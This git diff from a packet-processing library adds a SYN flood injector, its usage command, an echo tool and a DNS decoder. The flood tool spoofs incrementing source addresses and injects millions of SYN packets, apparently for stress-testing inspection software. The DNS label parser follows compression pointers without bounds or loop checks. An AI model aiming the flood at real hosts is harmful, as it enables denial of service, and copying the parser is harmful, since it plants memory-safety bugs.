PCAP_NETMASK_UNKNOWN) == -1) + { + fprintf(stderr, "%s: BPF state machine compilation failed!", __func__); + abort(); + } + + pcap_close(dead); + dead = nullptr; + + int result = bpf_validate(fcode.bf_insns, fcode.bf_len); + if (result != 1) + { + fprintf(stderr, "%s: BPF is not valid!", __func__); + abort(); + } + + thread = std::thread(&DataPlaneWorker::eval, this); + pthread_t native = thread.native_handle(); + + snprintf(name, sizeof(name), "pkt_wk_%u", id); + pthread_setname_np(native, name); + + // Float these workers on core 4 + cpu_set_t cpuset; + CPU_ZERO(&cpuset); + CPU_SET(4+id, &cpuset); + pthread_setaffinity_np(native, sizeof(cpuset), &cpuset); + } + + ~DataPlaneWorker() + { + pcap_freecode(&fcode); + } + + void join() + { + thread.join(); + } + + void eval() + { + DaqInstance in(config); + + in.instantiate(); + in.start(); + + state = START; + + attack_i = 0; + src_port = START_PORT; + + fprintf(stdout, "[+] Attacking!\n"); + + do { + auto recv = in.receive_msgs(); + + if (recv.frame.recv_count > 0) { + //print_packets(recv.frame); + } + + if (attack(in) == 0) { + state = STOP; + } + + if (recv.status == DAQ_RSTAT_ERROR || + recv.status == DAQ_RSTAT_INVALID) { + state = STOP; + } + + in.finalize_msgs(verdicts); + usleep(0); + } while(state != STOP); + fprintf(stdout, "[+] Stop!\n"); + + in.stop(); + } + + void stop() + { + state = STOP; + } + + bool is_active() + { + return state == START; + } + +private: + int attack(DaqInstance& in) + { + while ( attack_i++ < opt__loop_count ) + { + if ( (attack_i % (65535-START_PORT)) == 0 ) + { + /* Increment the Source IP in the tunnel when the port space has + * been exhausted -- reset port to START_PORT */ + //uint32_t ip = ntohl(packet.ip2.ip_src.s_addr) + 1; + uint32_t ip = ntohl(packet.ip.ip_src.s_addr) + id + 1; + + /* Don't let last octet be 0 or 255 */ + ((ip & 0xFF) == 255) + ? ip+=2 + : ((ip % 0xFF) == 0) + ? ip+=1 + : 0; + + //packet.ip2.ip_src.s_addr = htonl(ip); + packet.ip.ip_src.s_addr = htonl(ip); + src_port = START_PORT; + } + else + { + /* Each packet has a unique source port. */ + src_port++; + } + + uint16_t ip_len = ntohs(packet.ip.ip_len); + size_t pktlen = ip_len + sizeof(packet.eth); + packet.tcp.th_sport = htons(src_port); + packet.tcp.th_dport = htons(80); + ip_checksum(&packet.ip, ip_len); + + printf("[" TXT_FG_PURPLE("inject") "] "); + + print_packet(id, nullptr, reinterpret_cast(&packet), pktlen); + in.inject(reinterpret_cast(&packet), pktlen); + + // Free some time to check the receive rings. + if ((attack_i % 1024) == 0) { + return 1; + } + } + + // Complete + return 0; + } + + bool filter_packet(UNUSED(DAQ_PktHdr_t const* hdr), + uint8_t const* data, + uint32_t const size, + bpf_program const& fcode) + { + return bpf_filter(fcode.bf_insns, data, size, size) == SNAPLEN; + } + + void print_packets(DaqMsgFrame const& frame) + { + for (unsigned i = 0; i < frame.recv_count; i++) + { + auto const & msg = frame.msgs[i]; + if (msg->type == DAQ_MSG_TYPE_PACKET) + { + DAQ_PktHdr_t const * hdr = daq_msg_get_pkthdr(msg); + uint8_t const * data = daq_msg_get_data(msg); + uint32_t const size = daq_msg_get_data_len(msg); + + verdicts.verdicts[i] = match_verdict; + printf("[" TXT_FG_PURPLE("match") "] "); + print_packet(id, hdr, data, hdr->pktlen); + } + } + } + + DaqConfig config; + unsigned id; + + enum { INVAL, STOP, START } state; + std::thread thread; + threadname_t name; + bpf_program fcode; + DaqVerdictFrame verdicts; + + DAQ_Verdict match_verdict; + DAQ_Verdict default_verdict = DAQ_VERDICT_PASS; + + /* Data-plane, runtime state */ + PacketTemplate packet; + unsigned attack_i; + uint16_t src_port; +}; + + +int main (int argc, char const *argv[]) +{ + do_args(argc, (char **)argv); + + /* Initialize the packet data */ + fprintf(stdout, "[+] Framming packet template\n"); + PacketTemplate packet = {}; + + /* ETHERNET Frame */ + packet.eth.ether_type = htons(ETHERTYPE_IP); + if ( opt__dst_hwaddr ) + { + struct ether_addr *hw = ether_aton(opt__dst_hwaddr); + if ( !hw ) + { + fprintf(stderr, "[!] Error in destination hw address specified.\n"); + exit(1); + } + memcpy(&packet.eth.ether_dhost, hw, sizeof(packet.eth.ether_dhost)); + } + + /* ETHERNET Frame */ + if ( opt__src_hwaddr ) + { + struct ether_addr *hw = ether_aton(opt__src_hwaddr); + if ( !hw ) + { + fprintf(stderr, "[!] Error in source hw address specified.\n"); + exit(1); + } + memcpy(&packet.eth.ether_shost, hw, sizeof(packet.eth.ether_shost)); + } + + + + std::string payload = "********************************" + "********************************" + "********************************" + "********************************" + "********************************" + "********************************" + "********************************" + "********************************"; + + /* IP Datagram */ + //int ip_len = FIXEDSIZE - sizeof(packet.eth) + payload.length(); + int ip_len = FIXEDSIZE - sizeof(packet.eth) + payload.length(); + + packet.ip.ip_v = MY_IP_VERS; + packet.ip.ip_hl = MY_IP_HLEN; + packet.ip.ip_ttl = MY_IP_TTL; + packet.ip.ip_len = htons(ip_len); + //packet.ip.ip_p = IPPROTO_IPIP; + packet.ip.ip_p = IPPROTO_TCP; + + if ( inet_pton(AF_INET, opt__src_ipaddr, &packet.ip.ip_src) <= 0 ) + { + fprintf(stderr, "[!] Error in source ip address specified.\n"); + exit(1); + } + + if ( inet_pton(AF_INET, opt__dst_ipaddr, &packet.ip.ip_dst) <= 0 ) + { + fprintf(stderr, "[!] Error in destination ip address specified.\n"); + exit(1); + } + + /* IP2 */ + //packet.ip2.ip_v = MY_IP_VERS; + //packet.ip2.ip_hl = MY_IP_HLEN; + //packet.ip2.ip_ttl = MY_IP_TTL; + //packet.ip2.ip_len = htons(ip_len - (packet.ip.ip_hl << 2)); + //packet.ip2.ip_p = IPPROTO_TCP; + //inet_pton(AF_INET, "10.0.0.1", &packet.ip2.ip_src); + //inet_pton(AF_INET, "10.9.8.7", &packet.ip2.ip_dst); + + /* TCP Header */ + packet.tcp.th_off = 0x5; + packet.tcp.th_win = htons(256); + //packet.tcp.th_flags = TH_SYN|TH_ACK; + packet.tcp.th_flags = TH_SYN; + + memcpy(packet.payload, payload.c_str(), payload.length()); + + fprintf(stdout, "[+] Initializing DAQ!\n"); + + DAQ::load_modules(); + packet_set_datalink(DLT_EN10MB); + + DaqVars vars { + { "debug", "true" }, + { "use_tx_ring", "false" }, + { "fanout_type", "lb" }, + { "buffer_size_mb", "max" }, + }; + + DAQ_Verdict default_verdict = DAQ_VERDICT_PASS; + DAQ_Verdict match_verdict = DAQ_VERDICT_PASS; + std::string filter = "ip and host "; + filter += opt__src_ipaddr; + + DaqConfig afpacket_config("afpacket", opt__ifr_name, DAQ_MODE_INLINE, vars); + DataPlaneWorker wk0(afpacket_config, 0, filter, match_verdict, default_verdict, packet); + //DataPlaneWorker wk1(afpacket_config, 1, filter, match_verdict, default_verdict, packet); + //DataPlaneWorker wk2(afpacket_config, 2, filter, match_verdict, default_verdict, packet); + //DataPlaneWorker wk3(afpacket_config, 3, filter, match_verdict, default_verdict, packet); + //DataPlaneWorker wk4(afpacket_config, 4, filter, match_verdict, default_verdict, packet); + + sleep(5); + + while (wk0.is_active())// or + //wk1.is_active() or + //wk2.is_active()) + //wk3.is_active() or + //wk4.is_active()) + { + sleep(1); + } + + wk0.stop(); + wk0.join(); + + //wk1.stop(); + //wk1.join(); + + //wk2.stop(); + //wk2.join(); + + //wk3.stop(); + //wk3.join(); + + //wk4.stop(); + //wk4.join(); + + DAQ::unload_modules(); + return 0; +} + diff --git a/bin/net_echo.cc b/bin/net_echo.cc new file mode 100644 index 0000000..c8f7bad --- /dev/null +++ b/bin/net_echo.cc @@ -0,0 +1,631 @@ +// DAQ Global - vjr +#include +#ifndef _GNU_SOURCE +# define _GNU_SOURCE +#endif +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#include +#include +#include +#include +#include + + +#define TXT_FG_RED(str) "\e[31m" str "\e[0m" +#define TXT_FG_GREEN(str) "\e[32m" str "\e[0m" +#define TXT_FG_ORANGE(str) "\e[33m" str "\e[0m" +#define TXT_FG_TEAL(str) "\e[34m" str "\e[0m" +#define TXT_FG_PURPLE(str) "\e[35m" str "\e[0m" + +#include "daq_print.h" + +/* DLT_RAW + * + * Mandatory, as the VPP daq only supports L3 delivery. + * + * This is used to set the "base protocol" used in libpcap and libpacket + * features. + */ +//#define DLT_RAW 12 + +/* DAQ_BATCH_SIZE + * + * The maximum number of packets (DAQ_Msg_h) that we will batch read/process at + * once. + */ +#define DAQ_BATCH_SIZE 16 + +/* SNAPLEN + * + * The SNAPLEN is the absolulte maximum size packet we support processing. + * NOTICE: This value should be defined by VPP as the vlib buffer size. + */ +#define SNAPLEN 2048 + +/* TIMEOUT + * + * The TIMEOUT amount of usec waiting for daq_receive to return. + * NOTICE: TIMEOUT support in redacted DAQ only works in interrupt mode. + */ +#define TIMEOUT 100 + +/* STATIC_MODULES + * + * Enables the support of builtin libdaq_static_redacted.la + * + * If you're in a pinch and need to build an all-in-one static binary, you can + * do it, but not using the Makefile. */ +#undef STATIC_MODULES + +#define UNUSED(name) name ## _unused __attribute__ ((unused)) +#define IS_SET(test, bits) (((test) & (bits)) == (bits)) + +#ifndef UNIX_PATH_MAX +#define UNIX_PATH_MAX (sizeof(((struct sockaddr_un*)NULL)->sun_path)) +#endif + +using socketpath_t = char[UNIX_PATH_MAX]; + +#define ERRBUF_SIZE 256 +using Errbuf = std::array; + +// DaqVariable +using DaqVariable = std::pair; +using DaqVars = std::vector; + +char const* str_from_verdict(DAQ_Verdict const& verdict); + +namespace DAQ +{ +#ifdef STATIC_MODULES + // from libdaq_static_redacted.a + extern "C" const DAQ_ModuleAPI_t redacted_daq_module_data; + + static DAQ_Module_h static_modules[] = + { + &redacted_daq_module_data, + nullptr + }; +#endif + + static char const *module_paths[] = + { + "/usr/local/lib/abcip", + "/usr/local/lib/daq", + nullptr + }; + + static bool s_modules_loaded = false; + void load_modules() + { + if (s_modules_loaded == false) + { + s_modules_loaded = true; +#ifdef STATIC_MODULES + daq_load_static_modules(static_modules); +#endif + daq_load_dynamic_modules(module_paths); + } + } + + void unload_modules() + { + if (s_modules_loaded == true) + { + daq_unload_modules(); + s_modules_loaded = false; + } + } +} + +// DaqConfig +// +// DaqConfig is a "copy safe" representation of a DAQ_Config_h opaque pointer. +// This would be trivial to implement if the DAQ_Config_t type was avaiable +// from the DAQ API. +// +// The DaqConfig attempts to make a mutable representation of a DAQ_Config_h. +// To accomplish this task, it implements a factory pattern, constructring C++ +// type DAQ_Config_p that provides a constructor/desctructor for DAQ_Config_h. +// +// NOTICE +// +// * Implementing this would be easier if the DAQ_Config_t was not hidden from +// the DAQ API. +// +class DaqConfig +{ + public: + DaqConfig(std::string module, std::string input, DAQ_Mode mode, DaqVars const & vars) + : module(module), + input(input), + mode(mode), + vars(vars) + { } + + struct DAQ_Config_p + { + DAQ_Config_p(std::string module, std::string input, DAQ_Mode mode, DaqVars const & vars) + : config(nullptr) + { + daq_config_new(&config); + daq_config_set_input(config, input.c_str()); + daq_config_set_snaplen(config, SNAPLEN); + daq_config_set_timeout(config, TIMEOUT); + + DAQ_Module_h mod = daq_find_module(module.c_str()); + if (mod == nullptr) { + daq_config_destroy(config); + config = nullptr; + } + + DAQ_ModuleConfig_h modconf = nullptr; + int result = daq_module_config_new(&modconf, mod); + if (result != DAQ_SUCCESS) { + daq_config_destroy(config); + config = nullptr; + } + + daq_module_config_set_mode(modconf, mode); + for (auto const & var : vars) { + daq_module_config_set_variable(modconf, var.first.c_str(), var.second.c_str()); + } + + result = daq_config_push_module_config(config, modconf); + if (result != DAQ_SUCCESS) { + // NOTICE This is the only time we are allowed to call this ourselves. + daq_module_config_destroy(modconf); + modconf = nullptr; + + daq_config_destroy(config); + config = nullptr; + } + } + + ~DAQ_Config_p() + { + // Calling daq_config_destroy will call + // `daq_module_config_destroy(modcfg)` on each module. + daq_config_destroy(config); + config = nullptr; + } + + DAQ_Config_h config; + }; + + DAQ_Config_p get_config() const + { + return DAQ_Config_p(module, input, mode, vars); + } + + private: + std::string module; + std::string input; + DAQ_Mode mode; + DaqVars vars; +}; + +#define FRAME_SIZE 256 + +struct DaqMsgFrame +{ + std::array msgs; + size_t recv_count; +}; + +struct DaqVerdictFrame +{ + std::array verdicts; +}; + +struct RecvResult +{ + DAQ_RecvStatus status; + DaqMsgFrame const& frame; +}; + +class DaqInstance +{ + public: + DaqInstance(DaqConfig const & config) + : instance(NULL), config(config) + {} + + ~DaqInstance() + { + if (instance) { + daq_instance_destroy(instance); + instance = nullptr; + } + + msgs.recv_count = 0; + } + + DaqInstance(DaqInstance const & other) + : config(other.config) + { } + + int instantiate() + { + return daq_instance_instantiate( + config.get_config().config, + &instance, + errbuf.data(), + errbuf.size()); + } + + int start() + { + return daq_instance_start(instance); + } + + int stop() + { + return daq_instance_stop(instance); + } + + RecvResult receive_msgs() + { + DAQ_RecvStatus rstat; + msgs.recv_count = daq_instance_msg_receive( + instance, + msgs.msgs.max_size(), + msgs.msgs.data(), + &rstat); + + return { rstat, msgs }; + } + + //void finalize_msgs(DAQ_Verdict const & verdict) + void finalize_msgs(DaqVerdictFrame const & verdicts) + { + for (unsigned i = 0; i < msgs.recv_count; i++) + { + DAQ_Msg_h msg = msgs.msgs[i]; + DAQ_Verdict verdict = verdicts.verdicts[i]; + daq_instance_msg_finalize(instance, msg, verdict); + } + + msgs.recv_count = 0; + } + + int inject_relative(DAQ_Msg_h const& msg, uint8_t const* data, uint32_t const len) + { + return daq_instance_inject_relative( + instance, + msg, + data, + len, + false); + } + + DAQ_Stats_t get_stats() const + { + DAQ_Stats_t stats; + daq_instance_get_stats(instance, &stats); + return stats; + } + + void reset_stats() const + { + daq_instance_reset_stats(instance); + } + + private: + DAQ_Instance_h instance; + DaqConfig config; + DaqMsgFrame msgs; + Errbuf errbuf; +}; + +class DataPlaneWorker +{ + using threadname_t = char[256]; + + public: + DataPlaneWorker(DaqConfig config, unsigned id, std::string filter, DAQ_Verdict verdict, DAQ_Verdict default_verdict) + : config(config), + id(id), + match_verdict(verdict), + default_verdict(default_verdict), + _in(nullptr) + { + pcap_t *dead = pcap_open_dead(DLT_EN10MB, SNAPLEN); + if (dead == nullptr) + abort(); + + if (pcap_compile(dead, &fcode, filter.c_str(), 0, PCAP_NETMASK_UNKNOWN) == -1) + { + fprintf(stderr, "%s: BPF state machine compilation failed!", __func__); + abort(); + } + + pcap_close(dead); + dead = nullptr; + + int result = bpf_validate(fcode.bf_insns, fcode.bf_len); + if (result != 1) + { + fprintf(stderr, "%s: BPF is not valid!", __func__); + abort(); + } + + thread = std::thread(&DataPlaneWorker::eval, this); + pthread_t native = thread.native_handle(); + + snprintf(name, sizeof(name), "pkt_wk_%u", id); + pthread_setname_np(native, name); + + // Float these workers on core 4 + cpu_set_t cpuset; + CPU_ZERO(&cpuset); + CPU_SET(4, &cpuset); + pthread_setaffinity_np(native, sizeof(cpuset), &cpuset); + } + + ~DataPlaneWorker() + { + pcap_freecode(&fcode); + } + + void join() + { + thread.join(); + } + + void eval() + { + DaqInstance in(config); + _in = ∈ + + in.instantiate(); + in.start(); + + state = START; + + do { + auto recv = in.receive_msgs(); + + if (recv.frame.recv_count > 0) { + print_packets(recv.frame); + } + respond(recv.frame); + + if (recv.status == DAQ_RSTAT_ERROR || + recv.status == DAQ_RSTAT_INVALID) { + state = STOP; + } + + in.finalize_msgs(verdicts); + + } while(state != STOP); + + in.stop(); + } + + void stop() + { + state = STOP; + } + + private: + bool filter_packet(UNUSED(DAQ_PktHdr_t const* hdr), + uint8_t const* data, + uint32_t const size, + bpf_program const& fcode) + { + return bpf_filter(fcode.bf_insns, data, size, size) == SNAPLEN; + } + + char const* str_from_verdict(DAQ_Verdict const& verdict) + { + if (verdict == DAQ_VERDICT_PASS) + return TXT_FG_TEAL("pass"); + if (verdict == DAQ_VERDICT_BLOCK) + return TXT_FG_RED("block"); + if (verdict == DAQ_VERDICT_WHITELIST) + return TXT_FG_GREEN("allowlist"); + if (verdict == DAQ_VERDICT_BLACKLIST) + return TXT_FG_PURPLE("blocklist"); + if (verdict == DAQ_VERDICT_IGNORE) + return "ignore"; + return ""; + } + + void print_packets(DaqMsgFrame const& frame) + { + for (unsigned i = 0; i < frame.recv_count; i++) + { + auto const & msg = frame.msgs[i]; + if (msg->type == DAQ_MSG_TYPE_PACKET) { + DAQ_PktHdr_t const * hdr = daq_msg_get_pkthdr(msg); + uint8_t const * data = daq_msg_get_data(msg); + uint32_t const size = daq_msg_get_data_len(msg); + + DAQ_Verdict verdict = default_verdict; + bool matched = false; + if (filter_packet(hdr, data, size, fcode)) { + verdict = match_verdict; + matched = true; + } + else { + continue; + } + + verdicts.verdicts[i] = verdict; + printf(matched ? "[" TXT_FG_PURPLE("match") "] " : ""); + printf("[%s] ", str_from_verdict(verdict)); + print_packet(id, hdr, data, hdr->pktlen); + } + } + } + + void respond(DaqMsgFrame const& frame) + { + for (unsigned i = 0; i < frame.recv_count; i++) + { + auto const & msg = frame.msgs[i]; + if (msg->type == DAQ_MSG_TYPE_PACKET) { + + DAQ_PktHdr_t const * hdr = daq_msg_get_pkthdr(msg); + uint8_t const * data = daq_msg_get_data(msg); + uint32_t const size = daq_msg_get_data_len(msg); + + if (filter_packet(hdr, data, size, fcode) == 0) { + continue; + } + +#ifdef PRINT_PACKET_LAYERS + // Extra debug logging + std::stringstream ss_proto_names; + Protocol *_p = nullptr; + for (Protocol *_p = packet_proto_first(&packet, &it); + _p; _p = packet_proto_next(&packet, &it)) + { + if (_p->protocol == PROTOCOL_TCP) + break; + } + + // Found TCP, lets modify + if (_p) { + struct tcphdr *th = reinterpret_cast(_p->start); + uint32_t recv = ntohl(th->th_seq); + uint32_t writ = ntohl(th->th_ack); + + // clear syn + if (th->syn) { + th->syn = 0; + recv++; + } + + // clear fin + if (th->fin) { + th->fin = 0; + recv++; + } + + // Add ack + if (th->ack == 0) { + th->ack = 1; + } + + // Add data + recv += p->paysize; + writ += p->paysize; + + // Acknowledge the data + th->th_ack = htonl(recv); + th->th_seq = htonl(writ); + } + + log_raw_debug("%s", ss_proto_names.str().c_str()); +#endif + + + printf("[" TXT_FG_PURPLE("inject") "] "); + print_packet(id, hdr, data, hdr->pktlen); + _in->inject_relative(nullptr, data, size); + } + } + + return; + } + + DaqConfig config; + unsigned id; + + enum { INVAL, STOP, START } state; + std::thread thread; + threadname_t name; + bpf_program fcode; + DaqVerdictFrame verdicts; + + DAQ_Verdict match_verdict; + DAQ_Verdict default_verdict = DAQ_VERDICT_PASS; + + DaqInstance* _in; +}; + +// this is similar to how tcpdump + static inline std::string +concat_args(int argc, char const* argv[]) +{ + std::string result; + for (int i = 0; i < argc; ++i) + { + if (i > 0) + { + result += " "; + } + result += argv[i]; + } + return result; +} + + static inline DAQ_Verdict +verdict_from_str(std::string const& arg) +{ + if (arg == "pass") + return DAQ_VERDICT_PASS; + + if (arg == "block") + return DAQ_VERDICT_BLOCK; + + if (arg == "allowlist" || arg == "whitelist") + return DAQ_VERDICT_WHITELIST; + + if (arg == "blocklist" || arg == "blacklist") + return DAQ_VERDICT_BLACKLIST; + + abort(); + return DAQ_VERDICT_IGNORE; +} + +int main(int argc, char const* argv[]) +{ + DAQ::load_modules(); + packet_set_datalink(DLT_EN10MB); + + DaqVars vars { + { "debug", "true" }, + }; + + if (argc < 3) + { + fprintf(stderr, "Usage: net_echo \n"); + exit(1); + } + + DAQ_Verdict default_verdict = DAQ_VERDICT_PASS; + //DAQ_Verdict match_verdict = verdict_from_str("pass"); + DAQ_Verdict match_verdict = DAQ_VERDICT_BLOCK; + std::string filter = concat_args(argc-2, argv+2); + + fprintf(stderr, "Bpf: %s\n", filter.c_str()); + + DaqConfig afpacket_config("afpacket", argv[1], DAQ_MODE_INLINE, vars); + DataPlaneWorker wk0(afpacket_config, 0, filter, match_verdict, default_verdict); + + while (true) { + sleep(5); + } + + wk0.stop(); + wk0.join(); + + DAQ::unload_modules(); + return 0; +} diff --git a/bin/pcaps/dns-label-loop.pcap b/bin/pcaps/dns-label-loop.pcap new file mode 100644 index 0000000..0470c58 Binary files /dev/null and b/bin/pcaps/dns-label-loop.pcap differ diff --git a/bin/pcaps/dns.pcap b/bin/pcaps/dns.pcap new file mode 100644 index 0000000..911d77b Binary files /dev/null and b/bin/pcaps/dns.pcap differ diff --git a/bin/syn_ack_flood.md b/bin/syn_ack_flood.md new file mode 100644 index 0000000..2323aea --- /dev/null +++ b/bin/syn_ack_flood.md @@ -0,0 +1,10 @@ +Stream washing with 3 million flows, repeated + +``` + build/syn_ack_flood -i eth0 \ + -D 02:42:4b:b5:46:d5 \ + --src-ip 172.17.0.2 \ + --dst-ip 192.168.2.2 \ + -l 3000000 + &>/dev/null +``` diff --git a/include/packet/dns.h b/include/packet/dns.h new file mode 100644 index 0000000..0f89a89 --- /dev/null +++ b/include/packet/dns.h @@ -0,0 +1,69 @@ +#ifndef LIBPACKET_DECODE_DNS_H +#define LIBPACKET_DECODE_DNS_H + +// See RFC 1035, +// https://datatracker.ietf.org/doc/html/rfc1035 + +#include +#include + +struct dns_stats { + uint64_t dns_tooshort; + uint64_t dns_too_many_queries; // > 256 DNS Questions + uint64_t dns_too_many_answers; // > 256 DNS Answers +}; + +extern struct dns_stats s_dns_stats; + +// DNS Header +struct dns_header { + uint16_t id; + uint16_t flags; + uint16_t qdcount; + uint16_t ancount; + uint16_t nscount; + uint16_t arcount; +} __attribute__((packed)); + +struct dns_query { + std::string label; + // Store QTYPE and QCLASS (assuming a structure in Packet to store this information) + uint16_t dns_qtype; + uint16_t dns_qclass; +}; + +struct dns_answer { + uint16_t dns_atype; + uint16_t dns_aclass; + uint16_t dns_ttl; + std::string data; +}; + +struct dns { + struct dns_header h; + struct dns_query questions[256]; + struct dns_answer answers[256]; +}; + +enum dns_types { + TYPE_A, // 1 + TYPE_NS, // 2 + TYPE_MD, // 3 + TYPE_MF, // 4 + TYPE_CNAME, // 5 + TYPE_SOA, // 6 + TYPE_MB, // 7 + TYPE_MG, // 8 + TYPE_MR, // 9 + TYPE_NULL, // 10 + TYPE_WKS, // 11 + TYPE_PTR, // 12 + TYPE_HINFO, // 13 + TYPE_MINFO, // 14 + TYPE_MX, // 15 + TYPE_TXT // 16 +}; + +extern "C" int decode_dns(uint8_t const *pkt, uint32_t const len, dns* dns); + +#endif /* LIBPACKET_DECODE_DNS_H */ diff --git a/src/CMakeLists.txt b/src/CMakeLists.txt index 1aba50b..5233065 100644 --- a/src/CMakeLists.txt +++ b/src/CMakeLists.txt @@ -1,4 +1,5 @@ set(CMAKE_C_STANDARD 11) +set(CMAKE_CXX_STANDARD 17) add_library( packet @@ -51,6 +52,7 @@ target_sources( icmp6.h vlan.c vlan.h + dns.cc ) target_include_directories( diff --git a/src/dns.cc b/src/dns.cc new file mode 100644 index 0000000..001515d --- /dev/null +++ b/src/dns.cc @@ -0,0 +1,222 @@ +// +// libpacket/src/dns.c: DNS protocol decoder +// Victor Roemer (wtfbbqhax), . +// +#include +#include +#include +#include +#include // dns_print_data + +#include + +#include +#include + +#include "packet_private.h" +#include "packet/dns.h" + +#define IS_SET(test, bits) (((test) & (bits)) == (bits)) + +struct dns_stats s_dns_stats; + +uint32_t constexpr MINIMUM_DNS_HEADER_SIZE = (sizeof(dns_header)); + +//static inline void +extern "C" void +decode_label(uint8_t const* raw, uint8_t const* ptr, std::string& _label) +{ + uint8_t off; + uint8_t label_len; + + if (ptr[0] == 0) { + return; + } + + scan_again: + if (IS_SET(ptr[0], 0xC0)) { + off = ptr[1]; + ptr = &raw[off]; + } + + label_len = ptr[0]; + ptr++; + + _label.append(reinterpret_cast(ptr), label_len); + _label.append("."); + ptr += label_len; + + if (ptr[0] != 0) { + goto scan_again; + } +} + +// Function to decode the DNS protocol +extern "C" int +decode_dns(uint8_t const * pkt, uint32_t const len, dns* dns) +{ + if (len < MINIMUM_DNS_HEADER_SIZE) { + s_dns_stats.dns_tooshort++; + return -1; + } + + struct dns_header const* raw = + (struct dns_header const*)pkt; + + dns->h.id = ntohs(raw->id); + dns->h.flags = ntohs(raw->flags); + dns->h.qdcount = ntohs(raw->qdcount); + dns->h.ancount = ntohs(raw->ancount); + dns->h.nscount = ntohs(raw->nscount); + dns->h.arcount = ntohs(raw->arcount); + + uint8_t const * ptr = pkt + MINIMUM_DNS_HEADER_SIZE; + uint32_t remaining_len = len - MINIMUM_DNS_HEADER_SIZE; + + if (dns->h.qdcount >= 256) + { + s_dns_stats.dns_too_many_queries++; + return 0; + } + + // Parsing Question Section + for (int i = 0; i < dns->h.qdcount; i++) + { + struct dns_query* q = &dns->questions[i]; + + // Parse QNAME + while (remaining_len > 0 && *ptr != 0) + { + uint8_t label_len = *ptr; + ptr++; + remaining_len--; + + if (remaining_len < label_len) + { + s_dns_stats.dns_tooshort++; + return -1; + } + + q->label.append(reinterpret_cast(ptr), label_len); + q->label.append("."); + + ptr += label_len; + remaining_len -= label_len; + } + + // Null byte at the end of QNAME + if (remaining_len == 0) + { + s_dns_stats.dns_tooshort++; + return -1; + } + ptr++; + remaining_len--; + + // Parse QTYPE and QCLASS + if (remaining_len < 4) { + s_dns_stats.dns_tooshort++; + return -1; + } + uint16_t qtype = ntohs(*(uint16_t *)ptr); + ptr += 2; + remaining_len -= 2; + uint16_t qclass = ntohs(*(uint16_t *)ptr); + ptr += 2; + remaining_len -= 2; + + // Store QTYPE and QCLASS (assuming a structure in Packet to store this information) + q->dns_qtype = qtype; + q->dns_qclass = qclass; + } + + if (dns->h.ancount >= 256) { + s_dns_stats.dns_too_many_answers++; + return 0; + } + + for (int i = 0; i < dns->h.ancount; i++) + { + struct dns_answer *a = &dns->answers[i]; + + // Parse NAME (pointer or label) + if (remaining_len < 2) { + s_dns_stats.dns_tooshort++; + return -1; + } + + // The "name" appears to be a partial label, but I can't find that + // documented in rfc1035, more testing is needed. + std::string name; + if (IS_SET(ptr[0], 0xC0)) { + uint8_t off = ptr[1]; + uint8_t const* label = &pkt[off]; + uint8_t label_len = *label; + while(label[0] != 0) + { + label++; + name.append(reinterpret_cast(label), label_len); + name.append("."); + label += label_len; + } + } + + ptr += 2; + remaining_len -= 2; + + // Parse TYPE, CLASS, TTL, RDLENGTH + if (remaining_len < 10) { + s_dns_stats.dns_tooshort++; + return -1; + } + + uint16_t atype = ntohs(*(uint16_t *)ptr); + assert(sizeof atype == 2); + ptr += sizeof atype; + remaining_len -= sizeof atype; + + uint16_t aclass = ntohs(*(uint16_t *)ptr); + assert(sizeof aclass == 2); + ptr += sizeof aclass; + remaining_len -= sizeof aclass; + + uint32_t ttl = ntohl(*(uint32_t *)ptr); + assert(sizeof ttl == 4); + ptr += sizeof ttl; + remaining_len -= sizeof ttl; + + uint16_t rdlength = ntohs(*(uint16_t *)ptr); + assert(sizeof atype == 2); + ptr += sizeof rdlength; + remaining_len -= sizeof rdlength; + + // Parse RDATA + if (remaining_len < rdlength) { + s_dns_stats.dns_tooshort++; + return -1; + } + + // Store answer information (assuming a structure in Packet to store + // this information) + a->dns_atype = atype; + a->dns_aclass = aclass; + a->dns_ttl = ttl; + + if (atype == 1 || atype == 28) + { + a->data.append(reinterpret_cast(ptr), rdlength); + } + else + { + // Parse rdata + decode_label(pkt, ptr, a->data); + } + + //const uint8_t *rdata = ptr; + ptr += rdlength; + remaining_len -= rdlength; + } + + return 0; +} + diff --git a/src/udp.c b/src/udp.c index 1c6cc60..227a667 100644 --- a/src/udp.c +++ b/src/udp.c @@ -43,6 +43,17 @@ extern struct packet_stats s_stats; +/* +static inline int +bind_udp(const uint8_t * pkt, const uint32_t len, Packet *p) +{ + int ret = -1; + if ((p->srcport == 53) || (p->dstport == 53)) + return decode_dns(pkt, len, p); + return 0; +} +*/ + int decode_udp(const uint8_t *pkt, const uint32_t len, Packet *p) { diff --git a/tests/abc/dns-1.abc b/tests/abc/dns-1.abc new file mode 100644 index 0000000..f598e74 --- /dev/null +++ b/tests/abc/dns-1.abc @@ -0,0 +1,91 @@ +#!abcip + +d(stack="eth:ip4:udp") +c(udp:b=53) + +a( pay= + # Client DNS Query + "|20 8a|" # id + "|01 00|" # flags + + "|00 01|" # qcount + "|00 00|" # ancount + "|00 00|" # aucount + "|00 00|" # adcount + + "|03|isc|03|org|00|" # label + "|00 02|" # # qtype + "|00 01|" # # qclass +) + +#b( pay= +# "|20 8a|" # id +# "|81 80|" # flags +# +# "|00 01|" # question count +# "|00 04|" # answer count +# "|00 00|" # authority count +# "|00 00|" # additional count +# +# # Begin DNS Questions +# "|03|vic|03|org|00|" # labels +# "|00 02|" # qtype [NS] +# "|00 01|" # qclass [IN] +# +# # Begin Answers 1 +# "|c0 0c|" # name +# "|00 02|" # type [NS] +# "|00 01|" # qclass [IN] +# "|00 00 0e 10|" # ttl +# "|00 0e|" # rdata length (14) +# "|06|ns-ext|04|nrt1|c0 0c|" # rdata +# +# # Begin Answers 2 +# "|c0 0c|" +# "|00 02|" +# "|00 01|" +# "|00 00 0e 10|" +# "|00 0e|" +# "|06|ns-ext|04|sth1|c0 0c|" +# +# # Begin Answers 3 +# "|c0 0c|" +# "|00 02|" +# "|00 01|" +# "|00 00 0e 10|" +# "|00 09|" +# "|06|ns-ext|c0 0c|" +# +# # Begin Answers 4 +# "|c0 0c|" +# "|00 02|" +# "|00 01|" +# "|00 00 0e 10|" +# "|00 0e|" +# "|06|ns-ext|04|lga1|c0 0c|" +#) + + +b( pay= + "|00 01|" # id + "|81 80|" # flags + + "|00 01|" # question count + "|00 01|" # answer count + "|00 00|" # authority count + "|00 00|" # additional count + + # Begin DNS Questions + "|03|vic|03|org|00|" # labels + "|00 02|" # qtype [NS] + "|00 01|" # qclass [IN] + + # Begin Answers 1 + "|c0 25|" # name + "|00 02|" # type [NS] + "|00 